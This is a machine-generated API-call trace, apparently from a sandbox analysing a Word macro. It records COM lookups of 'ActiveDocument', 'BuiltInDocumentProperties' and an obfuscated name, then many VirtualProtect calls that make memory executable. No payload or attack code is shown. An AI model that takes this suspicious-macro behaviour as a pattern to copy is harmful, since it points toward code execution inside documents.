[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727964a4*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306fd0 | out: ppvObject=0x306fd0*=0x0) returned 0x80004002
[0030.034] IUnknown:Release (This=0x756c480) returned 0x2
[0030.034] IUnknown:AddRef (This=0x756c480) returned 0x3
[0030.034] ITypeInfo:LocalReleaseVarDesc (This=0x756c480) returned 0x75f0e10
[0030.034] IUnknown:Release (This=0x756c480) returned 0x2
[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307158 | out: ppvObject=0x307158*=0x0) returned 0x80004002
[0030.034] IUnknown:AddRef (This=0x756c480) returned 0x3
[0030.034] IUnknown:Release (This=0x756c480) returned 0x3
[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071b0 | out: ppvObject=0x3071b0*=0x0) returned 0x80004002
[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071b4 | out: ppvObject=0x3071b4*=0x0) returned 0x80004002
[0030.035] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.036] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071b0 | out: ppvObject=0x3071b0*=0x0) returned 0x80004002
[0030.036] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307198 | out: ppvObject=0x307198*=0x0) returned 0x80004002
[0030.036] ITypeInfo:GetTypeComp (in: This=0x756c4d8, ppTComp=0x30719c | out: ppTComp=0x30719c*=0x756c4dc) returned 0x0
[0030.036] CRetailMalloc_Alloc () returned 0x57b2af8
[0030.036] IUnknown:AddRef (This=0x756c4dc) returned 0x3
[0030.036] IUnknown:Release (This=0x756c4dc) returned 0x2
[0030.036] CRetailMalloc_Realloc () returned 0x75f0fc0
[0030.036] IUnknown:Release (This=0x756c4d8) returned 0x1
[0030.036] IUnknown:Release (This=0x756c480) returned 0x3
[0030.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0a5a, cbMultiByte=15, lpWideCharStr=0x307064, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0030.036] ITypeComp:RemoteBind (in: This=0x756c4dc, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x307030, pDescKind=0x307040, ppFuncDesc=0x307034, ppVarDesc=0x757a6a4, ppTypeComp=0x30719c, pDummy=0x3 | out: ppTInfo=0x307030*=0x756c4d8, pDescKind=0x307040*=1, ppFuncDesc=0x307034, ppVarDesc=0x757a6a4, ppTypeComp=0x30719c*=0x0, pDummy=0x3) returned 0x0
[0030.036] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c4d8, ppTypeAttr=0x307044, pDummy=0x757a6a4 | out: ppTypeAttr=0x307044, pDummy=0x757a6a4*=0xffff) returned 0x0
[0030.036] ITypeInfo:LocalReleaseTypeAttr (This=0x756c4d8) returned 0x74d3dd0
[0030.036] ITypeInfo:GetRefTypeInfo (in: This=0x756c4d8, hreftype=0x9538, ppTInfo=0x306eb4 | out: ppTInfo=0x306eb4*=0x756c504) returned 0x0
[0030.036] IUnknown:QueryInterface (in: This=0x756c504, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306ef0 | out: ppvObject=0x306ef0*=0x0) returned 0x80004002
[0030.036] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c504, ppTypeAttr=0x306ef4, pDummy=0x0 | out: ppTypeAttr=0x306ef4, pDummy=0x0) returned 0x0
[0030.036] ITypeInfo:LocalReleaseTypeAttr (This=0x756c504) returned 0x74d3dd0
[0030.036] IUnknown:Release (This=0x756c504) returned 0x2
[0030.036] CRetailMalloc_Realloc () returned 0x7429d48
[0030.036] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.036] IUnknown:Release (This=0x756c504) returned 0x2
[0030.037] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.037] IUnknown:Release (This=0x756c504) returned 0x2
[0030.037] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x306fb4 | out: ppvObject=0x306fb4*=0x756c4d8) returned 0x0
[0030.037] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x756c4d8, memid=3, invkind=2, pFuncIndex=0x306fb8 | out: pFuncIndex=0x306fb8*=0x6) returned 0x0
[0030.037] ITypeInfo2:GetFuncCustData (in: This=0x756c4d8, index=0x6, GUID=0x72799940*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x306f9c | out: pVarVal=0x306f9c*(varType=0x0, wReserved1=0x30, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0
[0030.037] IUnknown:Release (This=0x756c4d8) returned 0x2
[0030.037] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.037] IUnknown:QueryInterface (in: This=0x756c504, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306f78 | out: ppvObject=0x306f78*=0x0) returned 0x80004002
[0030.037] IUnknown:QueryInterface (in: This=0x756c504, riid=0x727964a4*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306f30 | out: ppvObject=0x306f30*=0x0) returned 0x80004002
[0030.037] IUnknown:Release (This=0x756c504) returned 0x2
[0030.037] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.037] IUnknown:QueryInterface (in: This=0x756c504, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306f78 | out: ppvObject=0x306f78*=0x0) returned 0x80004002
[0030.037] IUnknown:QueryInterface (in: This=0x756c504, riid=0x727964a4*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306f30 | out: ppvObject=0x306f30*=0x0) returned 0x80004002
[0030.037] IUnknown:Release (This=0x756c504) returned 0x2
[0030.037] IUnknown:AddRef (This=0x756c4d8) returned 0x3
[0030.037] ITypeInfo:LocalReleaseFuncDesc (This=0x756c4d8) returned 0x74b30c8
[0030.037] IUnknown:Release (This=0x756c4d8) returned 0x2
[0030.037] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3070e8 | out: ppvObject=0x3070e8*=0x0) returned 0x80004002
[0030.037] IUnknown:AddRef (This=0x756c4d8) returned 0x3
[0030.037] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.037] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30713c | out: ppvObject=0x30713c*=0x0) returned 0x80004002
[0030.037] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307140 | out: ppvObject=0x307140*=0x0) returned 0x80004002
[0030.037] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.037] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3070d8 | out: ppvObject=0x3070d8*=0x0) returned 0x80004002
[0030.037] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3070cc | out: ppvObject=0x3070cc*=0x0) returned 0x80004002
[0030.037] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3070c8 | out: ppvObject=0x3070c8*=0x756c480) returned 0x0
[0030.037] ITypeInfo2:GetTypeKind (in: This=0x756c480, pTypeKind=0x307110 | out: pTypeKind=0x307110*=5) returned 0x0
[0030.037] IUnknown:Release (This=0x756c480) returned 0x4
[0030.038] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c4d8, ppTypeAttr=0x306d24, pDummy=0x90 | out: ppTypeAttr=0x306d24, pDummy=0x90) returned 0x0
[0030.038] ITypeInfo:LocalReleaseTypeAttr (This=0x756c4d8) returned 0x74d3dd0
[0030.038] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x306d24, pDummy=0x90 | out: ppTypeAttr=0x306d24, pDummy=0x90) returned 0x0
[0030.039] CRetailMalloc_Realloc () returned 0x7531ca0
[0030.039] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74d3dd0
[0030.039] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.039] IUnknown:Release (This=0x756c480) returned 0x3
[0030.039] IUnknown:AddRef (This=0x756c4d8) returned 0x4
[0030.039] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c4d8, ppTypeAttr=0x307170, pDummy=0x7534108 | out: ppTypeAttr=0x307170, pDummy=0x7534108*=0x0) returned 0x0
[0030.039] ITypeInfo:LocalReleaseTypeAttr (This=0x756c4d8) returned 0x74d3dd0
[0030.039] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.039] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.039] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071c8 | out: ppvObject=0x3071c8*=0x0) returned 0x80004002
[0030.040] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071b0 | out: ppvObject=0x3071b0*=0x0) returned 0x80004002
[0030.040] ITypeInfo:GetTypeComp (in: This=0x756c55c, ppTComp=0x3071b4 | out: ppTComp=0x3071b4*=0x756c560) returned 0x0
[0030.040] CRetailMalloc_Alloc () returned 0x57b2ac8
[0030.040] IUnknown:AddRef (This=0x756c560) returned 0x4
[0030.040] IUnknown:Release (This=0x756c560) returned 0x3
[0030.040] CRetailMalloc_Realloc () returned 0x74adc18
[0030.040] IUnknown:Release (This=0x756c55c) returned 0x2
[0030.040] IUnknown:Release (This=0x756c504) returned 0x2
[0030.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0f76, cbMultiByte=26, lpWideCharStr=0x30707c, cchWideChar=27 | out: lpWideCharStr="BuiltInDocumentProperties") returned 26
[0030.040] ITypeComp:RemoteBind (in: This=0x756c560, szName="BuiltInDocumentProperties", lHashVal=0x10bb5f, wFlags=0x3, ppTInfo=0x307048, pDescKind=0x307058, ppFuncDesc=0x30704c, ppVarDesc=0x757a6a4, ppTypeComp=0x3071b4, pDummy=0x3 | out: ppTInfo=0x307048*=0x756c55c, pDescKind=0x307058*=1, ppFuncDesc=0x30704c, ppVarDesc=0x757a6a4, ppTypeComp=0x3071b4*=0x0, pDummy=0x3) returned 0x0
[0030.040] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x30705c, pDummy=0x757a6a4 | out: ppTypeAttr=0x30705c, pDummy=0x757a6a4*=0xffff) returned 0x0
[0030.040] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74b30c8
[0030.040] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x306fcc | out: ppvObject=0x306fcc*=0x756c55c) returned 0x0
[0030.040] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x756c55c, memid=1000, invkind=2, pFuncIndex=0x306fd0 | out: pFuncIndex=0x306fd0*=0x4) returned 0x0
[0030.040] ITypeInfo2:GetFuncCustData (in: This=0x756c55c, index=0x4, GUID=0x72799940*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x306fb4 | out: pVarVal=0x306fb4*(varType=0x0, wReserved1=0x30, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0
[0030.040] IUnknown:Release (This=0x756c55c) returned 0x3
[0030.040] IUnknown:AddRef (This=0x756c55c) returned 0x4
[0030.040] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74d3dd0
[0030.040] IUnknown:Release (This=0x756c55c) returned 0x3
[0030.040] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307100 | out: ppvObject=0x307100*=0x0) returned 0x80004002
[0030.040] IUnknown:AddRef (This=0x756c55c) returned 0x4
[0030.040] CRetailMalloc_Realloc () returned 0x76122b0
[0030.040] CRetailMalloc_Realloc () returned 0x7550280
[0030.041] IUnknown:Release (This=0x756c55c) returned 0x4
[0030.041] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307154 | out: ppvObject=0x307154*=0x0) returned 0x80004002
[0030.041] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307158 | out: ppvObject=0x307158*=0x0) returned 0x80004002
[0030.041] IUnknown:AddRef (This=0x756c55c) returned 0x5
[0030.041] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x307140, pDummy=0x7534108 | out: ppTypeAttr=0x307140, pDummy=0x7534108*=0x0) returned 0x0
[0030.041] CRetailMalloc_Alloc () returned 0x7531ec8
[0030.041] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74b30c8
[0030.041] IUnknown:Release (This=0x756c55c) returned 0x4
[0030.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0fae, cbMultiByte=9, lpWideCharStr=0x3070a4, cchWideChar=10 | out: lpWideCharStr="rtnNnpKD") returned 9
[0030.043] ITypeComp:RemoteBind (in: This=0x757e060, szName="rtnNnpKD", lHashVal=0x100013, wFlags=0x3, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x43a | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x43a) returned 0x0
[0030.043] CRetailMalloc_Alloc () returned 0x7604f88
[0030.043] _mbscpy_s (in: _Dst=0x7604f88, _DstSizeInBytes=0x9, _Src=0x81d0fae | out: _Dst=0x7604f88) returned 0x0
[0030.043] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1f02, cbMultiByte=16, lpWideCharStr=0x3070b4, cchWideChar=17 | out: lpWideCharStr="_B_var_rtnNnpKD") returned 16
[0030.044] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_rtnNnpKD", lHashVal=0x10d7db, wFlags=0x3, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0030.044] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0fae | out: _Dst=0x30711c) returned 0x0
[0030.044] CRetailMalloc_Free () returned 0x85d0201
[0030.045] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x306a90, pDummy=0x306d9c | out: ppTypeAttr=0x306a90, pDummy=0x306d9c*=0x307324) returned 0x0
[0030.045] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74b30c8
[0030.045] CRetailMalloc_Realloc () returned 0x75320f0
[0030.045] CRetailMalloc_Realloc () returned 0x74a5968
[0030.045] CRetailMalloc_Realloc () returned 0x753ac90
[0030.045] CRetailMalloc_Free () returned 0x28a0001
[0030.045] GetCurrentProcess () returned 0xffffffff
[0030.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98a2, dwSize=0xc) returned 1
[0030.045] VirtualProtect (in: lpAddress=0x75e98a2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98b6, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e98b6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98ca, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e98ca, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98de, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e98de, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98f2, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e98f2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9906, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e9906, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e991a, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e991a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e992e, dwSize=0xc) returned 1
[0030.046] VirtualProtect (in: lpAddress=0x75e992e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.046] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9942, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e9942, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9956, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e9956, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e996a, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e996a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e997e, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e997e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9992, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e9992, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99a6, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e99a6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ba, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e99ba, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.047] GetCurrentProcess () returned 0xffffffff
[0030.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ce, dwSize=0xc) returned 1
[0030.047] VirtualProtect (in: lpAddress=0x75e99ce, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99e2, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e99e2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99f6, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e99f6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a0a, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e9a0a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a1e, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e9a1e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a32, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e9a32, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a46, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x75e9a46, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1ae, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x757f1ae, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.048] GetCurrentProcess () returned 0xffffffff
[0030.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1c2, dwSize=0xc) returned 1
[0030.048] VirtualProtect (in: lpAddress=0x757f1c2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.049] GetCurrentProcess () returned 0xffffffff
[0030.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1d6, dwSize=0xc) returned 1
[0030.049] VirtualProtect (in: lpAddress=0x757f1d6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306f74 | out: lpflOldProtect=0x306f74*=0x40) returned 1
[0030.049] IUnknown:AddRef (This=0x75817bc) returned 0x3
[0030.049] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307790 | out: ppvObject=0x307790*=0x0) returned 0x80004002
